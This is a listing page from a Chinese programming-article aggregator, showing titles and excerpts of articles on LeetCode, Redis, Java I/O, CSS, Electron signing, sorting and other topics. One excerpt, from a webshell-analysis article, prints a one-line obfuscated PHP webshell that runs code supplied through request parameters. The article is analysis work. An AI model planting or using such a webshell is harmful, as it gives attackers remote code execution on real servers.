码迷,mamicode.com
首页 > 2019年11月02日 > 全部分享
leetcode——155. 最小栈
执行用时 :660 ms, 在所有 python 提交中击败了24.93%的用户 内存消耗 :15.5 MB, 在所有 python 提交中击败了19.17%的用户 ——2019.11.2 ...
分类:其他好文   时间:2019-11-02 16:00:32    阅读次数:112
Redis 到底是如何实现“附近的人”这个功能呢?
针对“附近的人”这一位置服务领域的应用场景,常见的可使用PG、MySQL和MongoDB等多种DB的空间索引进行实现。而Redis另辟蹊径,结合其有序队列zset以及geohash编码,实现了空间搜索功能,且拥有极高的运行效率。本文将从源码角度对其算法原理进行解析,并推算查询时间复杂度。 操作命令 ...
分类:其他好文   时间:2019-11-02 16:00:19    阅读次数:85
Shichikuji and Power Grid
" D. Shichikuji and Power Grid " 参考: "Codeforces Round 597 (Div. 2)" 思路:一个很裸的最小生成树。把建立基站看成是,城市与源点(虚构的)建边。由此建立最小生成树,即可得出答案。 代码: cpp // Created by CAD o ...
分类:其他好文   时间:2019-11-02 16:00:00    阅读次数:85
第十周课程总结
学习总结 字节流与字符流基本操作 字节流中输出主要用OutputStream类(通过子类实例化),输入主要用InputStream类(通过子类实例化); 字符流中输出主要用Writer类(通过子类实例化),输入主要用Reader类(通过子类实例化); 如果要操作一个文件: 字节流可以使用FileOu ...
分类:其他好文   时间:2019-11-02 15:59:37    阅读次数:65
CSS 基础语法
CSS 语法 规则由两个主要的部分构成:选择器,以及一条或多条声明。 选择器通常是您需要改变样式的 HTML 元素。 每条声明由一个属性和一个值组成。 属性(property)是您希望设置的样式属性(style attribute)。每个属性有一个值。属性和值被冒号分开。 下面这行代码的作用是将 元 ...
分类:Web程序   时间:2019-11-02 15:59:18    阅读次数:86
return和finally究竟谁先执行,还有return是怎么返回数据的
今天突然有见到一个关于return和finally谁先执行的问题,有点疑惑就上网上查了查并写代码验证了一下。 先看如下图的代码执行结果: 在此处证明了finally代码块并没有因为return语句的执行结束当前方法,从而没有执行finally语句,侧面的说明了一个问题就是finally代码块是一定会 ...
分类:其他好文   时间:2019-11-02 15:58:45    阅读次数:84
Android WebServer相关项目
1、AndServer AndServer是Android平台的Web Server和Web Framework。 它基于编译时注解提供了类似SpringMVC的注解和功能,如果您熟悉SpringMVC,则可以非常快速地掌握它。 源码地址: https://github.com/yanzhenjie ...
分类:移动开发   时间:2019-11-02 15:58:29    阅读次数:114
Mac Electron 应用的签名(signature)和公证(notarization)
背景 在MacOS 10.14.5之前,应用如果没有签名,那么首次打开时就会弹出这种“恶意软件”的提示框。 这时只要应用签名了,就不会弹这个框。 但在MacOS 10.14.5之后,应用如果没有公证(简单说就是将安装包上传到Apple审查),那么就会弹出更严重的“恶意软件”提示框。 这时就需要在应用 ...
分类:系统相关   时间:2019-11-02 15:58:00    阅读次数:322
echarts js报错 Cannot read property 'getAttribute' of null
本文将为您描述如何解决 eharts.js报错 Uncaught TypeError: Cannot read property 'getAttribute' of null 的问题 根据报错信息查找原因发现是因为 实例化 echarts 的元素不存在(未找到指定的元素),查看官方文档发现: 基于准 ...
分类:Web程序   时间:2019-11-02 15:57:47    阅读次数:142
快速排序,归并排序,堆排序的数组和单链表实现
原文链接:https://www.cnblogs.com/DarrenChan/p/8807112.html 这三个排序的时间复杂度都是O(nlogn),所以这里放到一起说。 回到顶部 1. 快速排序# 快速排序(英语:Quicksort),又称划分交换排序(partition-exchange s ...
分类:编程语言   时间:2019-11-02 15:57:28    阅读次数:116
ubuntu的apt
1. apt edit-sources #编辑apt的源列表( 或者直接写这个命令:vim /etc/apt/sources.list ) 2. apt list #列出包含条件的包(已安装,可升级等) 3. ...
分类:系统相关   时间:2019-11-02 15:56:47    阅读次数:73
十三:jinja2过滤器之default过滤器和or过滤器
在模板里面有时候需要对传过来的数据进行一些处理,jinja2有一些内置的过滤器可以进行处理。类似于python内置函数,通过 “|” 进行使用,详见jinja2官方文档 使用方法:{{ 变量名|过滤器名 }} 如:内置过滤器abs:作用为返回一个数的绝对值 default过滤器:如果传过来的数据有此 ...
分类:其他好文   时间:2019-11-02 15:55:53    阅读次数:318
WebShell代码分析溯源(九)
WebShell代码分析溯源(九) 一、一句话变形马样本 <?php $e = $_REQUEST['e'];$arr = array($_POST['pass'] => '|.*|e',);array_walk($arr, $e, '');?> 二、代码分析 1、调整代码格式 2、分析代码 1、首 ...
分类:Web程序   时间:2019-11-02 15:55:35    阅读次数:94
Spring 设计模式之责任链模式
【应用】 以下是一段代码,Spring MVC 的 diapatcherServlet 的 doDispatch 方法中,获取与请求匹配的处理器(HandlerExecutionChain) getHandler 方法的处理使用到了责任链模式,handlerMappings 是之前 Spring 容 ...
分类:编程语言   时间:2019-11-02 15:55:22    阅读次数:93
浅谈随机数的生成
Part0:随机数的性质 随机数一般来说符合下面这几个性质. (马尔科夫性)$1.$它产生时后面那个数与前面的毫无关系. (不确定性)$2.$给定样本的一部分和随机算法,无法推出样本的剩余部分. (不可再现性)$3.$其随机样本不可重现. 另外还要说一下统计学伪随机数概念. 统计学伪随机性.统计学伪 ...
分类:其他好文   时间:2019-11-02 15:55:04    阅读次数:78
JVM原理
# JVM原理 # JVM->java虚拟机,解释器,负责将程序员编写的.java文件编译为多平台通用的字节码(.class)文件,最终将字节码解释给计算机执行 [JVM内存区域主要划分为“线程共享区”“非线程共享区”,比如,Method Area(方法区,non-heap)与Heap(堆),Dir ...
分类:其他好文   时间:2019-11-02 15:54:46    阅读次数:63
TypeScript基础类型
基础类型 介绍 为了让程序有价值,我们需要能够处理最简单的数据单元:数字,字符串,结构体,布尔值等。 TypeScript支持与JavaScript几乎相同的数据类型,此外还提供了实用的枚举类型方便我们使用。 布尔值 最基本的数据类型就是简单的true/false值,在JavaScript和Type ...
分类:其他好文   时间:2019-11-02 15:54:29    阅读次数:88
1143条   上一页 1 ... 25 26 27 28 29 30 31 ... 68 下一页
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!